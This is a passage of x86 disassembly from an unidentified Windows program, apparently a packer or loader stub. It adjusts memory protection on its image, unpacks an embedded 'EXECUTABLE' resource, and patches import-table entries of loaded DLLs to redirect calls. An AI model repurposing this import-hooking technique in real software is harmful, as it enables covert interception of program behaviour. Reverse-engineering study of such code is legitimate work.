loc_504E37: ; CODE XREF: sub_504DC0+60j
mov [ebp+var_14], 0
jmp short loc_504E49
; ---------------------------------------------------------------------------
loc_504E40: ; CODE XREF: sub_504DC0+AFj
; sub_504DC0:loc_504F6Dj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_504E49: ; CODE XREF: sub_504DC0+7Ej
mov eax, [ebp+var_14]
cmp eax, [ebp+var_4]
jnb loc_504F72
mov ecx, [ebp+var_14]
imul ecx, 28h
mov edx, ds:off_51169C
add edx, ecx
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
cmp dword ptr [eax+0Ch], 0
jnz short loc_504E71
jmp short loc_504E40
; ---------------------------------------------------------------------------
loc_504E71: ; CODE XREF: sub_504DC0+ADj
cmp [ebp+var_14], 20h
jnb short loc_504E98
mov edx, 1
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, ds:dword_511684
mov ecx, [eax+10h]
and ecx, edx
test ecx, ecx
jz short loc_504E98
mov [ebp+var_34], 1
jmp short loc_504E9F
; ---------------------------------------------------------------------------
loc_504E98: ; CODE XREF: sub_504DC0+B5j
; sub_504DC0+CDj
mov [ebp+var_34], 0
loc_504E9F: ; CODE XREF: sub_504DC0+D6j
mov edx, [ebp+var_34]
mov [ebp+var_28], edx
cmp [ebp+var_14], 20h
jnb short loc_504ECD
mov eax, 1
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, ds:dword_511684
mov edx, [ecx+14h]
and edx, eax
test edx, edx
jz short loc_504ECD
mov [ebp+var_38], 1
jmp short loc_504ED4
; ---------------------------------------------------------------------------
loc_504ECD: ; CODE XREF: sub_504DC0+E9j
; sub_504DC0+102j
mov [ebp+var_38], 0
loc_504ED4: ; CODE XREF: sub_504DC0+10Bj
mov eax, [ebp+var_38]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_28]
push ecx
call loc_5048C0
mov edx, [ebp+var_20]
mov eax, [edx+24h]
and eax, 20000000h
test eax, eax
jz short loc_504F19
mov ecx, [ebp+var_20]
mov edx, [ecx+24h]
and edx, 80000000h
neg edx
sbb edx, edx
and edx, 20h
add edx, 20h
mov [ebp+var_3C], edx
jmp short loc_504F32
; ---------------------------------------------------------------------------
loc_504F19: ; CODE XREF: sub_504DC0+13Cj
mov eax, [ebp+var_20]
mov ecx, [eax+24h]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
and ecx, 2
add ecx, 2
mov [ebp+var_3C], ecx
loc_504F32: ; CODE XREF: sub_504DC0+157j
mov edx, [ebp+var_3C]
mov [ebp+var_24], edx
cmp ds:dword_511680, 1
jz short loc_504F6D
mov eax, ds:dword_511910
xor ecx, ecx
mov cx, [eax+14h]
mov edx, ds:dword_511910
lea eax, [edx+ecx+18h]
mov ecx, [ebp+var_14]
imul ecx, 28h
add eax, ecx
mov [ebp+var_30], eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_20]
mov ecx, [eax+24h]
mov [edx+24h], ecx
loc_504F6D: ; CODE XREF: sub_504DC0+17Fj
jmp loc_504E40
; ---------------------------------------------------------------------------
loc_504F72: ; CODE XREF: sub_504DC0+8Fj
cmp ds:dword_511680, 1
jz short loc_504FA3
mov edx, ds:dword_511910
mov eax, ds:off_51169C
mov ecx, [eax-0Ch]
mov [edx+0ECh], ecx
mov edx, ds:dword_511910
mov eax, ds:off_51169C
mov ecx, [eax-8]
mov [edx+0E8h], ecx
loc_504FA3: ; CODE XREF: sub_504DC0+1B9j
cmp ds:dword_511680, 1
jz short loc_504FC3
lea edx, [ebp+var_8]
push edx
mov eax, [ebp+var_8]
push eax
push 190h
mov ecx, [ebp+var_18]
push ecx
call ds:dword_5117AC ; VirtualProtect
loc_504FC3: ; CODE XREF: sub_504DC0+1EAj
mov edx, ds:dword_511684
mov eax, [ebp+var_18]
add eax, [edx+8]
mov [ebp+var_C], eax
mov ds:dword_511914, 0
push 0
push 0
push offset aExecutable ; "EXECUTABLE"
mov ecx, ds:dword_511910
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_C]
push eax
call sub_504AB0
add esp, 18h
call sub_50613C
and eax, 0FFh
test eax, eax
jz short loc_50501F
loc_50500A: ; CODE XREF: sub_504DC0+258j
call sub_50614D
and eax, 0FFh
test eax, eax
jz short loc_50501A
jmp short loc_50500A
; ---------------------------------------------------------------------------
loc_50501A: ; CODE XREF: sub_504DC0+256j
call sub_50613C
loc_50501F: ; CODE XREF: sub_504DC0+248j
push offset aImm32_dll ; "imm32.dll"
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_505041
push offset aImm32_dll ; "imm32.dll"
mov ecx, [ebp+var_1C]
push ecx
call sub_505070
loc_505041: ; CODE XREF: sub_504DC0+271j
push offset aOleoaut32_dll ; "oleoaut32.dll"
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_505063
push offset aOleaout32_dll ; "oleaout32.dll"
mov edx, [ebp+var_10]
push edx
call sub_505070
loc_505063: ; CODE XREF: sub_504DC0+293j
mov esp, ebp
pop ebp
retn
sub_504DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505070 proc near ; CODE XREF: sub_504DC0+27Cp
; sub_504DC0+29Ep ...
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, ds:dword_511914
add eax, 1
mov ds:dword_511914, eax
mov ecx, [ebp+arg_4]
mov ds:off_510BE8, ecx
push 9
lea ecx, [ebp+var_28]
call sub_50B77C
lea edx, [ebp+var_28]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
call sub_5050D0
add esp, 0Ch
mov ecx, ds:dword_511914
sub ecx, 1
mov ds:dword_511914, ecx
mov [ebp+var_2C], 1
lea ecx, [ebp+var_28]
call sub_50B82A
mov eax, [ebp+var_2C]
mov esp, ebp
pop ebp
retn 8
sub_505070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5050D0 proc near ; CODE XREF: sub_505070+30p
; sub_5050D0+24Bp
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E460
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFB8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp [ebp+arg_0], 0
jnz short loc_505101
jmp loc_5053BC
; ---------------------------------------------------------------------------
loc_505101: ; CODE XREF: sub_5050D0+2Aj
mov eax, [ebp+arg_0]
mov [ebp+var_2C], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_30], edx
jmp short loc_50511E
; ---------------------------------------------------------------------------
loc_505115: ; CODE XREF: sub_5050D0:loc_505133j
mov eax, [ebp+var_30]
mov ecx, [eax+4]
mov [ebp+var_30], ecx
loc_50511E: ; CODE XREF: sub_5050D0+43j
cmp [ebp+var_30], 0
jz short loc_505135
mov edx, [ebp+var_30]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jnz short loc_505133
jmp loc_5053BC
; ---------------------------------------------------------------------------
loc_505133: ; CODE XREF: sub_5050D0+5Cj
jmp short loc_505115
; ---------------------------------------------------------------------------
loc_505135: ; CODE XREF: sub_5050D0+52j
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+arg_8]
call sub_50B871
test eax, eax
jz short loc_50514A
jmp loc_5053BC
; ---------------------------------------------------------------------------
loc_50514A: ; CODE XREF: sub_5050D0+73j
mov edx, ds:dword_511914
add edx, 1
mov ds:dword_511914, edx
mov eax, [ebp+arg_0]
mov [ebp+var_34], eax
mov ecx, ds:off_510BE8
mov [ebp+var_24], ecx
mov [ebp+var_4], 0
mov edx, [ebp+var_34]
mov eax, [ebp+var_34]
add eax, [edx+3Ch]
mov [ebp+var_38], eax
mov ecx, [ebp+var_38]
cmp dword ptr [ecx], 4550h
jnz loc_505371
cmp ds:dword_511680, 1
jnz short loc_5051AA
cmp [ebp+arg_0], 80000000h
jbe short loc_5051AA
push 0
push 0
push 0
push 0
call ds:dword_511778 ; RaiseException
loc_5051AA: ; CODE XREF: sub_5050D0+C1j
; sub_5050D0+CAj
mov edx, [ebp+var_38]
mov eax, [ebp+var_34]
add eax, [edx+80h]
mov [ebp+var_20], eax
mov [ebp+var_4], 1
cmp ds:dword_511680, 1
jnz short loc_505247
mov [ebp+var_40], 0
jmp short loc_5051DB
; ---------------------------------------------------------------------------
loc_5051D2: ; CODE XREF: sub_5050D0:loc_505245j
mov ecx, [ebp+var_40]
add ecx, 1
mov [ebp+var_40], ecx
loc_5051DB: ; CODE XREF: sub_5050D0+100j
mov edx, [ebp+var_38]
xor eax, eax
mov ax, [edx+6]
cmp [ebp+var_40], eax
jnb short loc_505247
mov ecx, [ebp+var_38]
xor edx, edx
mov dx, [ecx+14h]
mov eax, [ebp+var_38]
lea ecx, [eax+edx+18h]
mov edx, [ebp+var_40]
imul edx, 28h
add ecx, edx
mov [ebp+var_44], ecx
mov eax, [ebp+var_44]
mov ecx, [ebp+var_34]
add ecx, [eax+0Ch]
cmp ecx, [ebp+var_20]
ja short loc_505245
mov edx, [ebp+var_44]
mov eax, [ebp+var_34]
add eax, [edx+0Ch]
mov ecx, [ebp+var_44]
add eax, [ecx+8]
cmp [ebp+var_20], eax
ja short loc_505245
mov edx, [ebp+var_44]
mov eax, [edx+24h]
and eax, 10000000h
test eax, eax
jz short loc_505243
push 0
push 0
push 0
push 0
call ds:dword_511778 ; RaiseException
loc_505243: ; CODE XREF: sub_5050D0+163j
jmp short loc_505247
; ---------------------------------------------------------------------------
loc_505245: ; CODE XREF: sub_5050D0+140j
; sub_5050D0+154j
jmp short loc_5051D2
; ---------------------------------------------------------------------------
loc_505247: ; CODE XREF: sub_5050D0+F7j
; sub_5050D0+117j ...
mov [ebp+var_4], 0
jmp short loc_50526E
; ---------------------------------------------------------------------------
loc_505250: ; DATA XREF: _6:0050E470o
mov ecx, [ebp+var_14]
mov edx, [ecx]
mov eax, [edx]
mov [ebp+var_58], eax
mov eax, [ebp+var_58]
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
loc_505264: ; DATA XREF: _6:0050E474o
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_50526E: ; CODE XREF: sub_5050D0+17Ej
mov ecx, [ebp+var_38]
mov eax, [ecx+84h]
xor edx, edx
mov ecx, 14h
div ecx
mov [ebp+var_1C], eax
mov [ebp+var_3C], 0
jmp short loc_505295
; ---------------------------------------------------------------------------
loc_50528C: ; CODE XREF: sub_5050D0:loc_50536Cj
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_505295: ; CODE XREF: sub_5050D0+1BAj
mov eax, [ebp+var_3C]
cmp eax, [ebp+var_1C]
jnb loc_505371
mov ecx, [ebp+var_3C]
imul ecx, 14h
mov edx, [ebp+var_20]
mov eax, [ebp+var_34]
add eax, [edx+ecx+0Ch]
mov [ebp+var_50], eax
mov ecx, [ebp+var_3C]
imul ecx, 14h
mov edx, [ebp+var_20]
cmp dword ptr [edx+ecx+0Ch], 0
jz short loc_5052DD
mov eax, [ebp+var_3C]
imul eax, 14h
mov ecx, [ebp+var_20]
mov edx, [ecx+eax+0Ch]
mov eax, [ebp+var_34]
xor ecx, ecx
mov cl, [eax+edx]
test ecx, ecx
jnz short loc_5052E2
loc_5052DD: ; CODE XREF: sub_5050D0+1F2j
jmp loc_505371
; ---------------------------------------------------------------------------
loc_5052E2: ; CODE XREF: sub_5050D0+20Bj
mov edx, [ebp+var_3C]
imul edx, 14h
mov eax, [ebp+var_20]
mov ecx, [ebp+var_34]
add ecx, [eax+edx+10h]
mov [ebp+var_48], ecx
mov edx, [ebp+var_50]
push edx
call sub_50AF8C
mov [ebp+var_4C], eax
mov eax, [ebp+var_50]
mov ds:off_510BE8, eax
cmp [ebp+var_4C], 0
jz short loc_505323
mov ecx, [ebp+arg_8]
push ecx
lea edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_4C]
push eax
call sub_5050D0
add esp, 0Ch
loc_505323: ; CODE XREF: sub_5050D0+23Dj
push 0
call ds:dword_511718 ; GetModuleHandleA
cmp eax, [ebp+arg_0]
jz short loc_50536C
mov ecx, [ebp+var_4C]
push ecx
mov ecx, ds:dword_5160D8
call sub_50B871
test eax, eax
jz short loc_50536C
jmp short loc_50534E
; ---------------------------------------------------------------------------
loc_505345: ; CODE XREF: sub_5050D0+29Aj
; DATA XREF: _2:off_4545C0o ...
mov edx, [ebp+var_48]
add edx, 4
mov [ebp+var_48], edx
loc_50534E: ; CODE XREF: sub_5050D0+273j
mov eax, [ebp+var_48]
cmp dword ptr [eax], 0
jz short loc_50536C
mov ecx, [ebp+var_50]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_48]
push eax
call sub_5053D0
add esp, 0Ch
jmp short loc_505345
; ---------------------------------------------------------------------------
loc_50536C: ; CODE XREF: sub_5050D0+25Ej
; sub_5050D0+271j ...
jmp loc_50528C
; ---------------------------------------------------------------------------
loc_505371: ; CODE XREF: sub_5050D0+B4j
; sub_5050D0+1CBj ...
push 1
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+arg_8]
call sub_50B98E
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_5053A5
; ---------------------------------------------------------------------------
mov edx, [ebp+var_14]
mov eax, [edx]
mov ecx, [eax]
mov [ebp+var_54], ecx
mov eax, [ebp+var_54]
neg eax
sbb eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_5053A5: ; CODE XREF: sub_5050D0+2B6j
mov eax, [ebp+var_24]
mov ds:off_510BE8, eax
mov ecx, ds:dword_511914
sub ecx, 1
mov ds:dword_511914, ecx
loc_5053BC: ; CODE XREF: sub_5050D0+2Cj
; sub_5050D0+5Ej ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_5050D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5053D0 proc near ; CODE XREF: sub_504AB0+282p
; sub_5050D0+292p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_4], 0
cmp ds:dword_5160D4, 0
jnz short loc_5053F0
mov ecx, 0EF00000Ah
call sub_508342
loc_5053F0: ; CODE XREF: sub_5053D0+14j
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov ecx, ds:dword_5160D4
call sub_50B871
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_50544F
lea edx, [ebp+var_10]
push edx
push 4
push 4
mov eax, [ebp+arg_0]
push eax
call ds:dword_5117AC ; VirtualProtect
test eax, eax
jnz short loc_50542A
mov ecx, 0EF00000Bh
call sub_508342
loc_50542A: ; CODE XREF: sub_5053D0+4Ej
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ecx], eax
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+var_10]
push edx
push 4
mov eax, [ebp+arg_0]
push eax
loc_505442: ; DATA XREF: _2:off_44BEA0o
call ds:dword_5117AC ; VirtualProtect
mov [ebp+var_4], 1
loc_50544F: ; CODE XREF: sub_5053D0+38j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_5053D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505456 proc near ; CODE XREF: sub_4FC3F3+23p
; sub_4FF036+A5p
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_1E = dword ptr -1Eh
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E478
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 6Ch
push ebx
push esi
push edi
and [ebp+var_30], 0
and [ebp+var_2C], 0
and [ebp+var_4], 0
and [ebp+var_3C], 0
lea eax, [ebp+var_34]
push eax
push 0
lea eax, [ebp+var_3C]
push eax
push 0Eh
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call sub_501177
test eax, eax
jz short loc_5054B7
lea eax, [ebp+var_44]
push eax
push [ebp+arg_0]
call sub_500672
test eax, eax
jnz short loc_5054D0
loc_5054B7: ; CODE XREF: sub_505456+4Fj
push 0FFFFFFFFh
and [ebp+var_64], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_64]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_5054D0: ; CODE XREF: sub_505456+5Fj
movzx eax, [ebp+var_28]
cmp eax, 4D42h
jnz short loc_505534
mov eax, [ebp+var_26]
cmp eax, [ebp+var_44]
ja short loc_505534
mov eax, [ebp+var_26]
sub eax, 0Eh
push eax
call sub_50835A
pop ecx
mov [ebp+var_5C], eax
mov eax, [ebp+var_5C]
mov [ebp+var_30], eax
lea eax, [ebp+var_48]
push eax
push 0
lea eax, [ebp+var_3C]
push eax
mov eax, [ebp+var_26]
sub eax, 0Eh
push eax
push [ebp+var_30]
push [ebp+arg_0]
call sub_501177
test eax, eax
jnz short loc_505532
push 0FFFFFFFFh
and [ebp+var_68], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_68]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_505532: ; CODE XREF: sub_505456+C1j
jmp short loc_50554D
; ---------------------------------------------------------------------------
loc_505534: ; CODE XREF: sub_505456+83j
; sub_505456+8Bj
push 0FFFFFFFFh
and [ebp+var_6C], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_6C]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_50554D: ; CODE XREF: sub_505456:loc_505532j
mov eax, [ebp+var_30]
mov eax, [eax]
mov [ebp+var_38], eax
mov eax, [ebp+var_30]
cmp dword ptr [eax+10h], 0
jz short loc_505577
push 0FFFFFFFFh
and [ebp+var_70], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_70]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_505577: ; CODE XREF: sub_505456+106j
push 0
call ds:dword_5117E0 ; CreateCompatibleDC
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jnz short loc_5055A1
push 0FFFFFFFFh
and [ebp+var_74], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_74]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_5055A1: ; CODE XREF: sub_505456+130j
mov eax, [ebp+var_1E]
mov ecx, [ebp+var_30]
lea eax, [ecx+eax-0Eh]
mov [ebp+var_40], eax
and [ebp+var_4C], 0
and [ebp+var_54], 0
mov eax, [ebp+var_30]
movzx eax, word ptr [eax+0Eh]
mov [ebp+var_78], eax
cmp [ebp+var_78], 8
jz short loc_5055F5
cmp [ebp+var_78], 10h
jz short loc_5055EC
cmp [ebp+var_78], 18h
jz short loc_5055E3
cmp [ebp+var_78], 20h
jz short loc_5055DA
jmp short loc_5055FE
; ---------------------------------------------------------------------------
loc_5055DA: ; CODE XREF: sub_505456+180j
mov [ebp+var_4C], 4
jmp short loc_505617
; ---------------------------------------------------------------------------
loc_5055E3: ; CODE XREF: sub_505456+17Aj
mov [ebp+var_4C], 3
jmp short loc_505617
; ---------------------------------------------------------------------------
loc_5055EC: ; CODE XREF: sub_505456+174j
mov [ebp+var_4C], 2
jmp short loc_505617
; ---------------------------------------------------------------------------
loc_5055F5: ; CODE XREF: sub_505456+16Ej
mov [ebp+var_4C], 1
jmp short loc_505617
; ---------------------------------------------------------------------------
loc_5055FE: ; CODE XREF: sub_505456+182j
push 0FFFFFFFFh
and [ebp+var_7C], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_7C]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_505617: ; CODE XREF: sub_505456+18Bj
; sub_505456+194j ...
push 0
push 0
lea eax, [ebp+var_58]
push eax
push 0
push [ebp+var_30]
push [ebp+var_2C]
call ds:dword_5117E4 ; CreateDIBSection
mov [ebp+var_54], eax
cmp [ebp+var_54], 0
jnz short loc_50564F
push 0FFFFFFFFh
and [ebp+var_80], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_80]
jmp loc_5056DC
; ---------------------------------------------------------------------------
loc_50564F: ; CODE XREF: sub_505456+1DEj
mov eax, [ebp+var_30]
mov eax, [eax+4]
imul eax, [ebp+var_4C]
mov [ebp+var_50], eax
mov eax, [ebp+var_50]
cdq
push 4
pop ecx
idiv ecx
test edx, edx
jz short loc_50567F
mov eax, [ebp+var_50]
cdq
push 4
pop ecx
idiv ecx
push 4
pop eax
sub eax, edx
mov ecx, [ebp+var_50]
add ecx, eax
mov [ebp+var_50], ecx
loc_50567F: ; CODE XREF: sub_505456+211j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_50]
imul ecx, [eax+8]
mov esi, [ebp+var_40]
mov edi, [ebp+var_58]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 0FFFFFFFFh
mov eax, [ebp+var_54]
mov [ebp+var_84], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_84]
jmp short loc_5056DC
; ---------------------------------------------------------------------------
loc_5056BB: ; DATA XREF: _6:0050E480o
cmp [ebp+var_2C], 0
jz short loc_5056CA
push [ebp+var_2C]
call ds:dword_5117E8 ; DeleteDC
loc_5056CA: ; CODE XREF: sub_505456+269j
mov eax, [ebp+var_30]
mov [ebp+var_60], eax
push [ebp+var_60]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
xor eax, eax
loc_5056DC: ; CODE XREF: sub_505456+75j
; sub_505456+D7j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_505456 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5056EB proc near ; CODE XREF: sub_5061E1+969p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push [ebp+arg_0]
call sub_5092CA
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
jmp short loc_50570F
; ---------------------------------------------------------------------------
loc_505708: ; CODE XREF: sub_5056EB+40j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_50570F: ; CODE XREF: sub_5056EB+1Bj
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_50572D
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
push eax
call sub_4FC86E
pop ecx
mov ecx, [ebp+var_8]
mov [ecx], al
jmp short loc_505708
; ---------------------------------------------------------------------------
loc_50572D: ; CODE XREF: sub_5056EB+2Cj
push 0Ch
call sub_50835A
pop ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov eax, [ebp+var_C]
leave
retn
sub_5056EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50575D proc near ; CODE XREF: sub_504AB0+9Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push 0
push [ebp+arg_4]
call sub_5092CA
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
jmp short loc_505781
; ---------------------------------------------------------------------------
loc_50577A: ; CODE XREF: sub_50575D+40j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_505781: ; CODE XREF: sub_50575D+1Bj
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_50579F
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
push eax
call sub_4FC86E
pop ecx
mov ecx, [ebp+var_8]
mov [ecx], al
jmp short loc_50577A
; ---------------------------------------------------------------------------
loc_50579F: ; CODE XREF: sub_50575D+2Cj
; sub_50575D:loc_505818j
cmp [ebp+arg_0], 0
jz short loc_50581A
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
mov eax, [eax+8]
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_C]
mov eax, [eax]
mov [ebp+var_14], eax
loc_5057C2: ; CODE XREF: sub_50575D+97j
mov eax, [ebp+var_14]
mov al, [eax]
mov [ebp+var_15], al
mov ecx, [ebp+var_10]
cmp al, [ecx]
jnz short loc_5057FC
cmp [ebp+var_15], 0
jz short loc_5057F6
mov eax, [ebp+var_14]
mov al, [eax+1]
mov [ebp+var_16], al
mov ecx, [ebp+var_10]
cmp al, [ecx+1]
jnz short loc_5057FC
add [ebp+var_14], 2
add [ebp+var_10], 2
cmp [ebp+var_16], 0
jnz short loc_5057C2
loc_5057F6: ; CODE XREF: sub_50575D+78j
and [ebp+var_1C], 0
jmp short loc_505804
; ---------------------------------------------------------------------------
loc_5057FC: ; CODE XREF: sub_50575D+72j
; sub_50575D+89j
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_1C], eax
loc_505804: ; CODE XREF: sub_50575D+9Dj
mov eax, [ebp+var_1C]
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_505818
mov eax, [ebp+var_C]
mov eax, [eax+4]
jmp short locret_50581C
; ---------------------------------------------------------------------------
loc_505818: ; CODE XREF: sub_50575D+B1j
jmp short loc_50579F
; ---------------------------------------------------------------------------
loc_50581A: ; CODE XREF: sub_50575D+46j
xor eax, eax
locret_50581C: ; CODE XREF: sub_50575D+B9j
leave
retn
sub_50575D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50581E proc near ; CODE XREF: sub_5058CF+86p
; sub_5061E1+D8p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_8], 0
and [ebp+var_4], 0
movzx eax, ds:byte_511694
test eax, eax
jnz short loc_50587C
push offset dword_510C88
lea edx, [ebp+var_4]
mov ecx, [ebp+arg_0]
call sub_501AE2
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_505863
push offset dword_510C88
lea edx, [ebp+var_4]
mov ecx, [ebp+arg_0]
call sub_5019D2
mov [ebp+var_8], eax
loc_505863: ; CODE XREF: sub_50581E+30j
cmp [ebp+var_8], 0
jnz short loc_50587C
mov eax, [ebp+var_4]
mov [ebp+var_C], eax
push [ebp+var_C]
call sub_5083DD
pop ecx
and [ebp+var_4], 0
loc_50587C: ; CODE XREF: sub_50581E+17j
; sub_50581E+49j
cmp [ebp+arg_4], 0
jz short loc_50588C
mov eax, [ebp+arg_4]
